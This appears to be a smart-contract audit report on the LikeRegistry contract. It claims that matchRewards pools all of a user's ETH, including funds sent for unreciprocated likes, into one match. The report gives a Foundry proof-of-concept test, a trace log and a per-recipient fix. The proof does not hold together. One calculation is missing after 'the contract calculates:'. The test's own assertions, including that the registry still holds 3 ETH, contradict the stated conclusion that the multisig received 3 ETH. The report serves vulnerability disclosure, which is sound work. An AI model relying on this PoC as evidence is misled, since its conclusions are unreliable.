Summary
The LikeRegistry
contract is designed to pool ETH from users when a mutual match occurs, deploying a multisig wallet with the pooled funds. However, the current design aggregates all ETH sent by a user into a single global balance via the userBalances
mapping rather than tracking funds on a per-like basis. This means that if a user sends ETH for multiple likes but only one of those likes is reciprocated, all of their ETH including funds intended for other recipients will be pooled into the match. The exploit is only fully realized once the existing userBalance
vulnerability is patched.
Vulnerability Details
The vulnerability stems from how the contract aggregates and later clears user funds in the matchRewards function.
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
Here, the contract retrieves the total ETH from both users’ balances (userBalances[from] and userBalances[to]) and pools it together, regardless of which specific like contributed what portion. Suppose the following scenario:
Alice sends 1 ETH to like Bob, so userBalances[Alice] becomes 1 ETH.
Alice also sends 1 ETH to like Charlie, making userBalances[Alice] equal to 2 ETH.
Bob sends 1 ETH to like Alice, so userBalances[Bob] is 1 ETH.
If Bob and Alice then mutually match, the contract calculates:
However, the intended behavior is for only the funds directly associated with the mutual like (1 ETH from Alice for Bob and 1 ETH from Bob for Alice) to be pooled—i.e., a total of 2 ETH. In this case, the extra 1 ETH that Alice sent for her like of Charlie is mistakenly included in the match with Bob, leading to misallocation of funds.
proof of concept
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
contract LikeRegistryCrossLikeExploitTest is Test {
LikeRegistry likeRegistry;
SoulboundProfileNFT profileNFT;
address user1 = address(0x400);
address user2 = address(0x500);
address user3 = address(0x600);
function setUp() public {
profileNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(profileNFT));
vm.deal(user1, 10 ether);
vm.deal(user2, 10 ether);
vm.deal(user3, 10 ether);
vm.prank(user1);
profileNFT.mintProfile("Alice", 25, "ipfs://profileAlice");
vm.prank(user2);
profileNFT.mintProfile("Bob", 27, "ipfs://profileBob");
vm.prank(user3);
profileNFT.mintProfile("Charlie", 28, "ipfs://profileCharlie");
}
function testCrossLikePoolingExploit() public {
vm.prank(user1);
likeRegistry.likeUser{value: 1 ether}(user2);
vm.prank(user1);
likeRegistry.likeUser{value: 1 ether}(user3);
vm.prank(user2);
likeRegistry.likeUser{value: 1 ether}(user1);
uint256 contractBalance = address(likeRegistry).balance;
assertEq(contractBalance, 3 ether, "Contract should incorrectly pool 3 ETH instead of 2 ETH");
assertEq(likeRegistry.userBalances(user1), 0, "Alice's balance should be reset to 0");
assertEq(likeRegistry.userBalances(user2), 0, "Bob's balance should be reset to 0");
assertEq(likeRegistry.userBalances(user3), 0, "Charlie's ETH should NOT be drained into Alice-Bob match");
assertFalse(contractBalance == 2 ether, "Exploit confirmed: Unrelated ETH is pooled");
}
}
Below is the log from the poc
Ran 1 test for test/LikeRegistryCrossLikeExploitTest.t.sol:LikeRegistryCrossLikeExploitTest
[PASS] testCrossLikePoolingExploit() (gas: 753887)
Traces:
[753887] LikeRegistryCrossLikeExploitTest::testCrossLikePoolingExploit()
├─ [0] VM::prank(0x0000000000000000000000000000000000000400)
│ └─ ← [Return]
├─ [37514] LikeRegistry::likeUser{value: 1000000000000000000}(0x0000000000000000000000000000000000000500)
│ ├─ [2627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000400) [staticcall]
│ │ └─ ← [Return] 1
│ ├─ [2627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000500) [staticcall]
│ │ └─ ← [Return] 2
│ ├─ emit Liked(liker: 0x0000000000000000000000000000000000000400, liked: 0x0000000000000000000000000000000000000500)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000400)
│ └─ ← [Return]
├─ [31014] LikeRegistry::likeUser{value: 1000000000000000000}(0x0000000000000000000000000000000000000600)
│ ├─ [627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000400) [staticcall]
│ │ └─ ← [Return] 1
│ ├─ [2627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000600) [staticcall]
│ │ └─ ← [Return] 3
│ ├─ emit Liked(liker: 0x0000000000000000000000000000000000000400, liked: 0x0000000000000000000000000000000000000600)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000500)
│ └─ ← [Return]
├─ [639512] LikeRegistry::likeUser{value: 1000000000000000000}(0x0000000000000000000000000000000000000400)
│ ├─ [627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000500) [staticcall]
│ │ └─ ← [Return] 2
│ ├─ [627] SoulboundProfileNFT::profileToToken(0x0000000000000000000000000000000000000400) [staticcall]
│ │ └─ ← [Return] 1
│ ├─ emit Liked(liker: 0x0000000000000000000000000000000000000500, liked: 0x0000000000000000000000000000000000000400)
│ ├─ emit Matched(user1: 0x0000000000000000000000000000000000000500, user2: 0x0000000000000000000000000000000000000400)
│ ├─ [483834] → new MultiSigWallet@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac
│ │ └─ ← [Return] 2193 bytes of code
│ ├─ [55] MultiSigWallet::receive()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::assertEq(3000000000000000000 [3e18], 3000000000000000000 [3e18], "Contract should incorrectly pool 3 ETH instead of 2 ETH") [staticcall]
│ └─ ← [Return]
├─ [561] LikeRegistry::userBalances(0x0000000000000000000000000000000000000400) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "Alice's balance should be reset to 0") [staticcall]
│ └─ ← [Return]
├─ [561] LikeRegistry::userBalances(0x0000000000000000000000000000000000000500) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "Bob's balance should be reset to 0") [staticcall]
│ └─ ← [Return]
├─ [2561] LikeRegistry::userBalances(0x0000000000000000000000000000000000000600) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "Charlie's ETH should NOT be drained into Alice-Bob match") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertFalse(false, "Exploit confirmed: Unrelated ETH is pooled") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.30ms (659.50µs CPU time)
Alice likes Bob: 1 ETH
Alice likes Charlie: 1 ETH
Bob likes Alice: 1 ETH triggers match
Test shows MultiSigWallet receives 3 ETH (3000000000000000000 wei)
The assert checks confirm:
Contract pooled 3 ETH instead of expected 2 ETH
All userBalances were zeroed
Charlie's ETH was indeed pooled into Alice-Bob match
Impact
-
Funds sent by a user for likes that were not reciprocated (e.g., Alice’s like for Charlie) could be wrongfully pooled into a match with another user (e.g., Bob), effectively “stealing” those funds.
-
Attackers could exploit this mechanism by intentionally matching with users who have sent likes to multiple parties, thereby capturing more funds than intended.
Tools Used
Manual Review
Recommendations
To resolve this vulnerability, the contract should be restructured so that ETH sent for a like is tracked on a per-recipient basis rather than being aggregated into a global balance for each user.
mapping(address => mapping(address => uint256)) public likeFunds;
In the likeUser
function, the contract would update this mapping as follows:
likeFunds[msg.sender][liked] += msg.value;
Then, when a mutual match occurs, the matchRewards function should only pool the funds corresponding to the specific mutual like:
function matchRewards(address from, address to) internal {
uint256 fundsFrom = likeFunds[from][to];
uint256 fundsTo = likeFunds[to][from];
likeFunds[from][to] = 0;
likeFunds[to][from] = 0;
uint256 totalRewards = fundsFrom + fundsTo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
This change ensures that only ETH specifically intended for the mutual match is pooled, preserving funds sent for other likes and preventing unintended cross-like pooling.